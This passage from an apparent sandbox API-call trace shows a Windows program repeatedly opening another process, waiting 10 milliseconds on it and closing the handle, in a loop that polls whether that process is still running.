wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.217] Sleep (dwMilliseconds=0x1) [0316.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5558 [0316.232] WaitForSingleObject (hHandle=0x5558, dwMilliseconds=0xa) returned 0x102 [0316.248] CloseHandle (hObject=0x5558) returned 1 [0316.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.248] Sleep (dwMilliseconds=0x1) [0316.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5558 [0316.264] WaitForSingleObject (hHandle=0x5558, dwMilliseconds=0xa) returned 0x102 [0316.286] CloseHandle (hObject=0x5558) returned 1 [0316.286] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.286] Sleep (dwMilliseconds=0x1) [0316.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5558 [0316.295] WaitForSingleObject (hHandle=0x5558, dwMilliseconds=0xa) returned 0x102 [0316.310] CloseHandle (hObject=0x5558) returned 1 [0316.310] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.310] Sleep (dwMilliseconds=0x1) [0316.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5558 [0316.326] WaitForSingleObject (hHandle=0x5558, dwMilliseconds=0xa) returned 0x102 [0316.341] CloseHandle (hObject=0x5558) returned 1 [0316.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.341] Sleep (dwMilliseconds=0x1) [0316.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5558 [0316.357] WaitForSingleObject (hHandle=0x5558, dwMilliseconds=0xa) returned 0x102 [0316.373] CloseHandle (hObject=0x5558) returned 1 [0316.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.373] Sleep (dwMilliseconds=0x1) [0316.404] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x555c [0316.404] WaitForSingleObject (hHandle=0x555c, dwMilliseconds=0xa) returned 0x102 [0316.420] CloseHandle (hObject=0x555c) returned 1 [0316.420] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.420] Sleep (dwMilliseconds=0x1) [0316.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x555c [0316.435] WaitForSingleObject (hHandle=0x555c, dwMilliseconds=0xa) returned 0x102 [0316.451] CloseHandle (hObject=0x555c) returned 1 [0316.451] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.451] Sleep (dwMilliseconds=0x1) [0316.467] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x555c [0316.467] WaitForSingleObject (hHandle=0x555c, dwMilliseconds=0xa) returned 0x102 [0316.484] CloseHandle (hObject=0x555c) returned 1 [0316.484] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.484] Sleep (dwMilliseconds=0x1) [0316.498] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x555c [0316.499] WaitForSingleObject (hHandle=0x555c, dwMilliseconds=0xa) returned 0x102 [0316.514] CloseHandle (hObject=0x555c) returned 1 [0316.514] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.514] Sleep (dwMilliseconds=0x1) [0316.529] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5564 [0316.529] WaitForSingleObject (hHandle=0x5564, dwMilliseconds=0xa) returned 0x102 [0316.545] CloseHandle (hObject=0x5564) returned 1 [0316.545] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.545] Sleep (dwMilliseconds=0x1) [0316.562] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5568 [0316.562] WaitForSingleObject (hHandle=0x5568, dwMilliseconds=0xa) returned 0x102 [0316.576] CloseHandle (hObject=0x5568) returned 1 [0316.576] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.576] Sleep (dwMilliseconds=0x1) [0316.600] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x559c [0316.600] WaitForSingleObject (hHandle=0x559c, dwMilliseconds=0xa) returned 0x102 [0316.607] CloseHandle (hObject=0x559c) returned 1 [0316.607] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.607] Sleep (dwMilliseconds=0x1) [0316.623] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x559c [0316.623] WaitForSingleObject (hHandle=0x559c, dwMilliseconds=0xa) returned 0x102 [0316.638] CloseHandle (hObject=0x559c) returned 1 [0316.638] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.638] Sleep (dwMilliseconds=0x1) [0316.925] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x55a4 [0316.925] WaitForSingleObject (hHandle=0x55a4, dwMilliseconds=0xa) returned 0x102 [0316.941] CloseHandle (hObject=0x55a4) returned 1 [0316.941] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.941] Sleep (dwMilliseconds=0x1) [0316.961] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x55b0 [0316.961] WaitForSingleObject (hHandle=0x55b0, dwMilliseconds=0xa) returned 0x102 [0316.978] CloseHandle (hObject=0x55b0) returned 1 [0316.978] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.978] Sleep (dwMilliseconds=0x1) [0316.991] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x55d0 [0316.991] WaitForSingleObject (hHandle=0x55d0, dwMilliseconds=0xa) returned 0x102 [0316.998] CloseHandle (hObject=0x55d0) returned 1 [0316.998] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.998] Sleep (dwMilliseconds=0x1) [0317.022] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x55f8 [0317.022] WaitForSingleObject (hHandle=0x55f8, dwMilliseconds=0xa) returned 0x102 [0317.029] CloseHandle (hObject=0x55f8) returned 1 [0317.029] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.029] Sleep (dwMilliseconds=0x1) [0317.048] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5604 [0317.048] WaitForSingleObject (hHandle=0x5604, dwMilliseconds=0xa) returned 0x102 [0317.066] CloseHandle (hObject=0x5604) returned 1 [0317.066] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.066] Sleep (dwMilliseconds=0x1) [0317.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5604 [0317.076] WaitForSingleObject (hHandle=0x5604, dwMilliseconds=0xa) returned 0x102 [0317.091] CloseHandle (hObject=0x5604) returned 1 [0317.092] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.092] Sleep (dwMilliseconds=0x1) [0317.113] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5618 [0317.113] WaitForSingleObject (hHandle=0x5618, dwMilliseconds=0xa) returned 0x102 [0317.123] CloseHandle (hObject=0x5618) returned 1 [0317.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.123] Sleep (dwMilliseconds=0x1) [0317.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5618 [0317.138] WaitForSingleObject (hHandle=0x5618, dwMilliseconds=0xa) returned 0x102 [0317.154] CloseHandle (hObject=0x5618) returned 1 [0317.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.154] Sleep (dwMilliseconds=0x1) [0317.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5618 [0317.170] WaitForSingleObject (hHandle=0x5618, dwMilliseconds=0xa) returned 0x102 [0317.185] CloseHandle (hObject=0x5618) returned 1 [0317.185] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.185] Sleep (dwMilliseconds=0x1) [0317.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5618 [0317.201] WaitForSingleObject (hHandle=0x5618, dwMilliseconds=0xa) returned 0x102 [0317.216] CloseHandle (hObject=0x5618) returned 1 [0317.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.217] Sleep (dwMilliseconds=0x1) [0317.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5618 [0317.232] WaitForSingleObject (hHandle=0x5618, dwMilliseconds=0xa) returned 0x102 [0317.248] CloseHandle (hObject=0x5618) returned 1 [0317.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.248] Sleep (dwMilliseconds=0x1) [0317.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5618 [0317.263] WaitForSingleObject (hHandle=0x5618, dwMilliseconds=0xa) returned 0x102 [0317.279] CloseHandle (hObject=0x5618) returned 1 [0317.279] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.279] Sleep (dwMilliseconds=0x1) [0317.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5618 [0317.295] WaitForSingleObject (hHandle=0x5618, dwMilliseconds=0xa) returned 0x102 [0317.310] CloseHandle (hObject=0x5618) returned 1 [0317.310] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.310] Sleep (dwMilliseconds=0x1) [0317.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5620 [0317.326] WaitForSingleObject (hHandle=0x5620, dwMilliseconds=0xa) returned 0x102 [0317.361] CloseHandle (hObject=0x5620) returned 1 [0317.361] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.361] Sleep (dwMilliseconds=0x1) [0317.374] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5644 [0317.374] WaitForSingleObject (hHandle=0x5644, dwMilliseconds=0xa) returned 0x102 [0317.388] CloseHandle (hObject=0x5644) returned 1 [0317.388] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.388] Sleep (dwMilliseconds=0x1) [0317.424] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5644 [0317.424] WaitForSingleObject (hHandle=0x5644, dwMilliseconds=0xa) returned 0x102 [0317.435] CloseHandle (hObject=0x5644) returned 1 [0317.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.435] Sleep (dwMilliseconds=0x1) [0317.452] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5668 [0317.452] WaitForSingleObject (hHandle=0x5668, dwMilliseconds=0xa) returned 0x102 [0317.466] CloseHandle (hObject=0x5668) returned 1 [0317.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.466] Sleep (dwMilliseconds=0x1) [0317.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5668 [0317.482] WaitForSingleObject (hHandle=0x5668, dwMilliseconds=0xa) returned 0x102 [0317.499] CloseHandle (hObject=0x5668) returned 1 [0317.499] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.499] Sleep (dwMilliseconds=0x1) [0317.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x56a0 [0317.514] WaitForSingleObject (hHandle=0x56a0, dwMilliseconds=0xa) returned 0x102 [0317.529] CloseHandle (hObject=0x56a0) returned 1 [0317.529] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.529] Sleep (dwMilliseconds=0x1) [0317.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x56b0 [0317.545] WaitForSingleObject (hHandle=0x56b0, dwMilliseconds=0xa) returned 0x102 [0317.561] CloseHandle (hObject=0x56b0) returned 1 [0317.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.561] Sleep (dwMilliseconds=0x1) [0317.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x56d8 [0317.577] WaitForSingleObject (hHandle=0x56d8, dwMilliseconds=0xa) returned 0x102 [0317.605] CloseHandle (hObject=0x56d8) returned 1 [0317.605] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.605] Sleep (dwMilliseconds=0x1) [0317.610] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5714 [0317.610] WaitForSingleObject (hHandle=0x5714, dwMilliseconds=0xa) returned 0x102 [0317.623] CloseHandle (hObject=0x5714) returned 1 [0317.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.623] Sleep (dwMilliseconds=0x1) [0317.644] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5724 [0317.644] WaitForSingleObject (hHandle=0x5724, dwMilliseconds=0xa) returned 0x102 [0317.656] CloseHandle (hObject=0x5724) returned 1 [0317.657] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.657] Sleep (dwMilliseconds=0x1) [0317.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5744 [0317.670] WaitForSingleObject (hHandle=0x5744, dwMilliseconds=0xa) returned 0x102 [0317.685] CloseHandle (hObject=0x5744) returned 1 [0317.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.685] Sleep (dwMilliseconds=0x1) [0317.701] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0317.701] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0317.716] CloseHandle (hObject=0x5750) returned 1 [0317.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.716] Sleep (dwMilliseconds=0x1) [0317.732] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0317.732] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0317.748] CloseHandle (hObject=0x5750) returned 1 [0317.748] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.748] Sleep (dwMilliseconds=0x1) [0317.763] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0317.763] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0317.779] CloseHandle (hObject=0x5750) returned 1 [0317.779] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.779] Sleep (dwMilliseconds=0x1) [0317.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0317.795] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0317.810] CloseHandle (hObject=0x5750) returned 1 [0317.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.810] Sleep (dwMilliseconds=0x1) [0317.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0317.826] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0317.841] CloseHandle (hObject=0x5750) returned 1 [0317.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.841] Sleep (dwMilliseconds=0x1) [0317.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0317.858] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0317.873] CloseHandle (hObject=0x5750) returned 1 [0317.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.873] Sleep (dwMilliseconds=0x1) [0317.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0317.888] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0317.904] CloseHandle (hObject=0x5750) returned 1 [0317.904] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.904] Sleep (dwMilliseconds=0x1) [0317.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0317.920] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0317.935] CloseHandle (hObject=0x5750) returned 1 [0317.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.935] Sleep (dwMilliseconds=0x1) [0317.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0317.951] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0317.966] CloseHandle (hObject=0x5750) returned 1 [0317.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.967] Sleep (dwMilliseconds=0x1) [0317.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0317.982] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0317.998] CloseHandle (hObject=0x5750) returned 1 [0317.998] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0317.998] Sleep (dwMilliseconds=0x1) [0318.027] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0318.028] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0318.029] CloseHandle (hObject=0x5750) returned 1 [0318.029] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.029] Sleep (dwMilliseconds=0x1) [0318.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0318.045] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0318.066] CloseHandle (hObject=0x5750) returned 1 [0318.066] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.066] Sleep (dwMilliseconds=0x1) [0318.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0318.076] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0318.091] CloseHandle (hObject=0x5750) returned 1 [0318.092] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.092] Sleep (dwMilliseconds=0x1) [0318.107] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0318.107] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0318.123] CloseHandle (hObject=0x5750) returned 1 [0318.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.123] Sleep (dwMilliseconds=0x1) [0318.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0318.139] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0318.154] CloseHandle (hObject=0x5750) returned 1 [0318.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.154] Sleep (dwMilliseconds=0x1) [0318.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5750 [0318.170] WaitForSingleObject (hHandle=0x5750, dwMilliseconds=0xa) returned 0x102 [0318.186] CloseHandle (hObject=0x5750) returned 1 [0318.187] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.187] Sleep (dwMilliseconds=0x1) [0318.202] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5760 [0318.202] WaitForSingleObject (hHandle=0x5760, dwMilliseconds=0xa) returned 0x102 [0318.216] CloseHandle (hObject=0x5760) returned 1 [0318.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.216] Sleep (dwMilliseconds=0x1) [0318.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5760 [0318.232] WaitForSingleObject (hHandle=0x5760, dwMilliseconds=0xa) returned 0x102 [0318.248] CloseHandle (hObject=0x5760) returned 1 [0318.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.248] Sleep (dwMilliseconds=0x1) [0318.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5760 [0318.263] WaitForSingleObject (hHandle=0x5760, dwMilliseconds=0xa) returned 0x102 [0318.279] CloseHandle (hObject=0x5760) returned 1 [0318.279] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.279] Sleep (dwMilliseconds=0x1) [0318.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5760 [0318.295] WaitForSingleObject (hHandle=0x5760, dwMilliseconds=0xa) returned 0x102 [0318.310] CloseHandle (hObject=0x5760) returned 1 [0318.310] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.310] Sleep (dwMilliseconds=0x1) [0318.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5764 [0318.326] WaitForSingleObject (hHandle=0x5764, dwMilliseconds=0xa) returned 0x102 [0318.343] CloseHandle (hObject=0x5764) returned 1 [0318.343] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.343] Sleep (dwMilliseconds=0x1) [0318.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, 